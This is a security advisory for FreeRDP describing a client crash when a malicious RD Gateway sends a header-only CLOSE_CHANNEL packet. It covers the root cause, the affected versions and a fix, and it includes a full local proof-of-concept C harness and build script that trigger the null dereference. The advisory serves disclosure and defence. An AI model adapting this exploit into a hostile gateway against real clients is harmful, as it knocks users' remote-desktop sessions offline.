Header-only RD Gateway CLOSE_CHANNEL packet crashes FreeRDP clients
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
A malicious or compromised RD Gateway can terminate a FreeRDP client after the user connects through that gateway. An eight-byte PKT_TYPE_CLOSE_CHANNEL header declares no payload. FreeRDP accepts that minimum header length, leaves the payload stream null, and passes it to rdg_process_close_packet, which calls a WinPR stream-length helper and aborts on the null stream.
This is not a TLS interception claim. The attacker must control the configured RD Gateway, or separately overcome gateway certificate validation. The demonstrated impact is client availability; no confidentiality or integrity impact was established.
The behavior was introduced in FreeRDP 2.3.0. It affects the supported 3.x line from 3.0.0 through 3.31.1 and remains present on current master. FreeRDP's policy no longer supports 2.x. No fixed release is known.
Root cause
rdg_read_data_packet in libfreerdp/core/gateway/rdg.c forwards the gateway-controlled packet type and length to rdg_process_control_packet. That dispatcher accepts any packetLength >= sizeof(RdgPacketHeader). At exactly eight bytes, payloadSize is zero and s remains null.
The PKT_TYPE_CLOSE_CHANNEL case dispatches the null stream to rdg_process_close_packet. That function immediately calls:
if (!Stream_CheckAndLogRequiredLengthWLog(rdg->log, s, 4)) return FALSE;
The helper reaches Stream_GetRemainingLength(NULL), which aborts in assertion-enabled builds and dereferences null when the assertion is absent. Unlike PKT_TYPE_SERVICE_MESSAGE, the close-channel case has no null-payload guard.
Security impact and prerequisites
- The victim must connect through an RD Gateway controlled or compromised by the attacker.
- The tunnel must be established far enough for the gateway's control stream to be processed.
- An unrelated on-path attacker would also need to pass or bypass TLS certificate validation; that case is not assumed.
- A single eight-byte header triggers client-process termination without a race or heap-layout dependency.
- No data disclosure, memory write, code execution, or persistent service impact was demonstrated.
Validation
The included harness compiles the target checkout's production rdg.c. It was run against FreeRDP 3.31.1 and current master.
Observed on both builds:
[control] packet shorter than the RDG header must be rejected cleanly mode=control packetLength=7 headerLength=8 parser_returned=0 [attack] header-only CLOSE_CHANNEL must not terminate the process mode=attack packetLength=8 headerLength=8 FATAL ... Stream_GetRemainingLength attack_exit=134 reproduced: the header-only packet terminated the process
The seven-byte control confirms that the parser's ordinary minimum-header rejection returns normally. The eight-byte case differs only by crossing that check, after which the null payload is dispatched. The harness directly exercises the production parser without a network connection; source inspection confirms that non-data RDG headers arrive there through rdg_read_data_packet.
Proof of concept
From the report directory, after completing a FreeRDP CMake build:
cd poc SOURCE_DIR="$FREERDP_SOURCE" BUILD_DIR="$FREERDP_BUILD" ./run.sh
Run only in a disposable test environment. The attack child is expected to terminate. The harness does not make a network connection or modify the source checkout.
Suggested remediation
Reject PKT_TYPE_CLOSE_CHANNEL unless the declared packet length covers the eight-byte header and mandatory four-byte error code. Validate per-type minimum payload lengths before dispatch, and move the general header-size check before the payloadSize subtraction. Add regression tests for header lengths below eight, exactly eight, eleven, and twelve bytes, together with valid keepalive and service-message controls.
Credit: Opensec Intelligence
Complete PoC Files
poc/rdg_close_channel_poc.c
/*
* Minimal reproducer for FreeRDP's RD Gateway CLOSE_CHANNEL parser.
*
* The build command supplies RDG_SOURCE_FILE, pointing at the target
* checkout's libfreerdp/core/gateway/rdg.c. This keeps the harness tied to
* the exact production parser under test.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef RDG_SOURCE_FILE
#error "RDG_SOURCE_FILE must name the target checkout's rdg.c"
#endif
#include RDG_SOURCE_FILE
#include <winpr/synch.h>
/* Satisfies a static reference in rdg.c. The vulnerable path aborts first. */
BOOL websocket_context_write_wstream(websocket_context* context, BIO* bio, wStream* packet,
WEBSOCKET_OPCODE opcode)
{
(void)context;
(void)bio;
(void)packet;
(void)opcode;
return FALSE;
}
int main(int argc, char** argv)
{
if (argc != 2)
{
fprintf(stderr, "usage: %s control|attack\n", argv[0]);
return 64;
}
size_t packetLength = 0;
if (strcmp(argv[1], "control") == 0)
packetLength = sizeof(RdgPacketHeader) - 1;
else if (strcmp(argv[1], "attack") == 0)
packetLength = sizeof(RdgPacketHeader);
else
{
fprintf(stderr, "unknown mode: %s\n", argv[1]);
return 64;
}
rdpRdg rdg = { 0 };
rdg.log = WLog_Get("poc.rdg.close-channel");
InitializeCriticalSection(&rdg.writeSection);
fprintf(stderr, "mode=%s packetLength=%zu headerLength=%zu\n", argv[1], packetLength,
sizeof(RdgPacketHeader));
const BOOL rc = rdg_process_control_packet(&rdg, PKT_TYPE_CLOSE_CHANNEL, packetLength);
fprintf(stderr, "parser_returned=%d\n", rc);
DeleteCriticalSection(&rdg.writeSection);
return rc ? 1 : 0;
}poc/run.sh
#!/bin/sh
set -eu
: "${SOURCE_DIR:?Set SOURCE_DIR to a FreeRDP source checkout}"
: "${BUILD_DIR:?Set BUILD_DIR to its completed CMake build directory}"
CC=${CC:-cc}
SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
OUT_DIR=${OUT_DIR:-"$SCRIPT_DIR/build"}
mkdir -p "$OUT_DIR"
if [ -z "${OPENSSL_INCLUDE_DIR:-}" ] && [ -f "$BUILD_DIR/CMakeCache.txt" ]; then
OPENSSL_INCLUDE_DIR=$(sed -n 's/^OPENSSL_INCLUDE_DIR:PATH=//p' "$BUILD_DIR/CMakeCache.txt" | head -n 1)
fi
if [ -f "$BUILD_DIR/CMakeCache.txt" ]; then
OPENSSL_SSL_LIBRARY=${OPENSSL_SSL_LIBRARY:-$(sed -n 's/^OPENSSL_SSL_LIBRARY:FILEPATH=//p' "$BUILD_DIR/CMakeCache.txt" | head -n 1)}
OPENSSL_CRYPTO_LIBRARY=${OPENSSL_CRYPTO_LIBRARY:-$(sed -n 's/^OPENSSL_CRYPTO_LIBRARY:FILEPATH=//p' "$BUILD_DIR/CMakeCache.txt" | head -n 1)}
BUILD_C_FLAGS=${BUILD_C_FLAGS:-$(sed -n 's/^CMAKE_C_FLAGS:STRING=//p' "$BUILD_DIR/CMakeCache.txt" | head -n 1)}
BUILD_LINK_FLAGS=${BUILD_LINK_FLAGS:-$(sed -n 's/^CMAKE_EXE_LINKER_FLAGS:STRING=//p' "$BUILD_DIR/CMakeCache.txt" | head -n 1)}
fi
set -- "$CC" \
-DWITH_OPENSSL -DWITH_SMARTCARD_EMULATE -DWITH_VERBOSE_WINPR_ASSERT \
-D_FILE_OFFSET_BITS=64 -DNONAMELESSUNION -DWINPR_DEFINE_ATTR_NODISCARD \
-DRDG_SOURCE_FILE="\"$SOURCE_DIR/libfreerdp/core/gateway/rdg.c\"" \
-I"$SOURCE_DIR/winpr/include" -I"$BUILD_DIR/winpr/include" \
-I"$BUILD_DIR" -I"$BUILD_DIR/include" -I"$SOURCE_DIR/include" \
-fno-omit-frame-pointer -ffunction-sections -fdata-sections -flto=auto -g -O2
# CMake cache flags keep the harness ABI-compatible with sanitizer builds.
# Intentional word splitting mirrors how CMake stores compiler flag lists.
if [ -n "${BUILD_C_FLAGS:-}" ]; then
# shellcheck disable=SC2086
set -- "$@" $BUILD_C_FLAGS
fi
if [ -n "${OPENSSL_INCLUDE_DIR:-}" ]; then
set -- "$@" -I"$OPENSSL_INCLUDE_DIR"
fi
set -- "$@" \
"$SCRIPT_DIR/rdg_close_channel_poc.c" \
-L"$BUILD_DIR/libfreerdp" -L"$BUILD_DIR/winpr/libwinpr" \
-Wl,-rpath,"$BUILD_DIR/libfreerdp:$BUILD_DIR/winpr/libwinpr" \
-Wl,--gc-sections -Wl,--allow-shlib-undefined \
-lfreerdp3 -lwinpr3
if [ -n "${OPENSSL_SSL_LIBRARY:-}" ] && [ -n "${OPENSSL_CRYPTO_LIBRARY:-}" ]; then
set -- "$@" "$OPENSSL_SSL_LIBRARY" "$OPENSSL_CRYPTO_LIBRARY"
else
set -- "$@" -lssl -lcrypto
fi
set -- "$@" \
-lpthread -ldl -lm \
-o "$OUT_DIR/rdg_close_channel_poc"
if [ -n "${BUILD_LINK_FLAGS:-}" ]; then
# shellcheck disable=SC2086
set -- "$@" $BUILD_LINK_FLAGS
fi
"$@"
echo "[control] packet shorter than the RDG header must be rejected cleanly"
"$OUT_DIR/rdg_close_channel_poc" control
echo "[attack] header-only CLOSE_CHANNEL must not terminate the process"
set +e
"$OUT_DIR/rdg_close_channel_poc" attack
attack_rc=$?
set -e
echo "attack_exit=$attack_rc"
if [ "$attack_rc" -eq 0 ]; then
echo "not reproduced: the target rejected the header-only packet"
exit 1
fi
if [ "$attack_rc" -eq 134 ] || [ "$attack_rc" -eq 139 ]; then
echo "reproduced: the header-only packet terminated the process"
exit 0
fi
echo "inconclusive: unexpected attack exit code"
exit 2Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 2.3.0, <= 3.31.1GitHub